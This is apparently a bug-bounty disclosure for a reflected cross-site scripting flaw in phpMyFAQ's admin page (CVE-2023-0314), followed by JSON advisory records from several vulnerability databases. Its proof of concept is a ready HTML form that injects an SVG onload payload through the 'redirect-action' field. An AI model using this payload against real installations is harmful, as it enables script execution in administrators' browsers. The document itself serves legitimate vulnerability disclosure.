Description
# Description
Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites.
# Proof of Concept
Below HTML code for trigger XSS with POST method
```
<html>
<title>XSS POC By AggressiveUser</title>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://roy.demo.phpmyfaq.de/admin/index.php" method="POST">
<input type="hidden" name="redirect-action" value="AggressiveUser"><svg onload=alert(112233)>" />
<center><input type="submit" value="Click Here for Trigger XSS" />
</form>
</body>
</html>
```
Below BurpSuite POC

#YO Maintainer :) Long Time No SEE !
Related
{"id": "EAC0A9D7-9721-4191-BEF3-D43B0DF59C67", "vendorId": null, "type": "huntr", "bulletinFamily": "bugbounty", "title": "Reflect XSS Which can help in any CSRF Vulnerability", "description": "# Description\nCross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites.\n\n\n # Proof of Concept\n\nBelow HTML code for trigger XSS with POST method\n```\n<html>\n <title>XSS POC By AggressiveUser</title>\n <body>\n <script>history.pushState('', '', '/')</script>\n <form action=\"https://roy.demo.phpmyfaq.de/admin/index.php\" method=\"POST\">\n <input type=\"hidden\" name=\"redirect-action\" value=\"AggressiveUser"><svg onload=alert(112233)>\" />\n <center><input type=\"submit\" value=\"Click Here for Trigger XSS\" />\n </form>\n </body>\n</html>\n```\nBelow BurpSuite POC \n\n\n#YO Maintainer :) Long Time No SEE !", "published": "2022-12-13T10:19:56", "modified": "2022-12-15T20:22:39", "cvss": {"score": 0.0, "vector": "NONE"}, "cvss2": {}, "cvss3": {"cvssV3": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM"}, "exploitabilityScore": 2.8, "impactScore": 2.7}, "href": "https://www.huntr.dev/bounties/eac0a9d7-9721-4191-bef3-d43b0df59c67/", "reporter": "aggressiveuser", "references": [], "cvelist": ["CVE-2023-0314"], "immutableFields": [], "lastseen": "2023-01-24T17:31:11", "viewCount": 6, "enchantments": {"score": {"value": -0.0, "vector": "NONE"}, "dependencies": {"references": [{"type": "cve", "idList": ["CVE-2023-0314"]}, {"type": "github", "idList": ["GHSA-M9XR-8CX7-53PJ"]}, {"type": "osv", "idList": ["OSV:GHSA-M9XR-8CX7-53PJ"]}]}, "epss": [{"cve": "CVE-2023-0314", "epss": "0.000460000", "percentile": "0.126170000", "modified": "2023-03-20"}], "vulnersScore": -0.0}, "_state": {"score": 1674581953, "dependencies": 1674581500, "epss": 1679355295}, "_internal": {"score_hash": "9054aee871a75e78f9bf176c21fded7f"}, "status": "valid", "cwe_id": "79", "repository": "https://github.com/thorsten/phpmyfaq", "language": "PHP", "patch_commit_sha": "3872e7eac2ddeac182fc1335cc312d1392d56f98"}
{"osv": [{"lastseen": "2023-03-28T05:46:02", "description": "Cross-site Scripting (XSS) - Reflected in GitHub repository thorsten/phpmyfaq prior to 3.1.10.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "NONE", "baseScore": 6.1, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2023-01-16T00:30:24", "type": "osv", "title": "phpMyFAQ Reflected Cross-site Scripting vulnerability", "bulletinFamily": "software", "cvss2": {}, "cvelist": ["CVE-2023-0314"], "modified": "2023-03-28T05:45:54", "id": "OSV:GHSA-M9XR-8CX7-53PJ", "href": "https://osv.dev/vulnerability/GHSA-m9xr-8cx7-53pj", "cvss": {"score": 0.0, "vector": "NONE"}}], "cve": [{"lastseen": "2023-02-08T17:33:18", "description": "Cross-site Scripting (XSS) - Reflected in GitHub repository thorsten/phpmyfaq prior to 3.1.10.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "NONE", "baseScore": 6.1, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2023-01-15T22:15:00", "type": "cve", "title": "CVE-2023-0314", "cwe": ["CWE-79"], "bulletinFamily": "NVD", "cvss2": {}, "cvelist": ["CVE-2023-0314"], "modified": "2023-01-24T15:00:00", "cpe": [], "id": "CVE-2023-0314", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2023-0314", "cvss": {"score": 0.0, "vector": "NONE"}, "cpe23": []}], "github": [{"lastseen": "2023-01-24T20:06:02", "description": "Cross-site Scripting (XSS) - Reflected in GitHub repository thorsten/phpmyfaq prior to 3.1.10.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "NONE", "baseScore": 6.1, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2023-01-16T00:30:24", "type": "github", "title": "phpMyFAQ Reflected Cross-site Scripting vulnerability", "bulletinFamily": "software", "cvss2": {}, "cvelist": ["CVE-2023-0314"], "modified": "2023-01-24T18:06:00", "id": "GHSA-M9XR-8CX7-53PJ", "href": "https://github.com/advisories/GHSA-m9xr-8cx7-53pj", "cvss": {"score": 0.0, "vector": "NONE"}}], "cnvd": [{"lastseen": "2023-02-06T11:29:35", "description": "phpMyFAQ is a multilingual, fully database-driven FAQ system. phpMyFAQ versions prior to 3.1.10 are vulnerable to a cross-site scripting vulnerability that stems from the presence of reflective cross-site scripting (XSS). No detailed vulnerability details are currently available.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "NONE", "baseScore": 6.1, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2023-01-16T00:00:00", "type": "cnvd", "title": "phpMyFAQ Cross-Site Scripting Vulnerability (CNVD-2023-04311)", "bulletinFamily": "cnvd", "cvss2": {}, "cvelist": ["CVE-2023-0314"], "modified": "2023-01-19T00:00:00", "id": "CNVD-2023-04311", "href": "https://www.cnvd.org.cn/flaw/show/CNVD-2023-04311", "cvss": {"score": 0.0, "vector": "NONE"}}], "veracode": [{"lastseen": "2023-02-02T20:06:58", "description": "thorsten/phpmyfaq is vulnerable to Cross-site Scripting (XSS). The vulnerability exists due to missing checks on redirect values in `index.php`, allowing an attacker to inject and execute malicious JavaScript.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "NONE", "baseScore": 6.1, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2023-01-29T06:15:11", "type": "veracode", "title": "Cross-site Scripting (XSS)", "bulletinFamily": "software", "cvss2": {}, "cvelist": ["CVE-2023-0314"], "modified": "2023-02-01T01:31:36", "id": "VERACODE:39042", "href": "https://sca.analysiscenter.veracode.com/vulnerability-database/security/1/1/sid-39042/summary", "cvss": {"score": 0.0, "vector": "NONE"}}]}